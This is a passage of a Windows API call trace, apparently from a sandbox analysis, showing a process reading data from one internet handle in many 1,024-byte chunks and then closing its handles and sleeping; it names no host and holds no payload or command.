[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.960] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.960] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0052.127] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0052.128] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0052.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710e0 | out: hHeap=0x670000) returned 1
[0052.130] Sleep (dwMilliseconds=0x1)
[0052.159] Sleep (dwMilliseconds=0x3)
[0052.174] Sleep (dwMilliseconds=0x3)
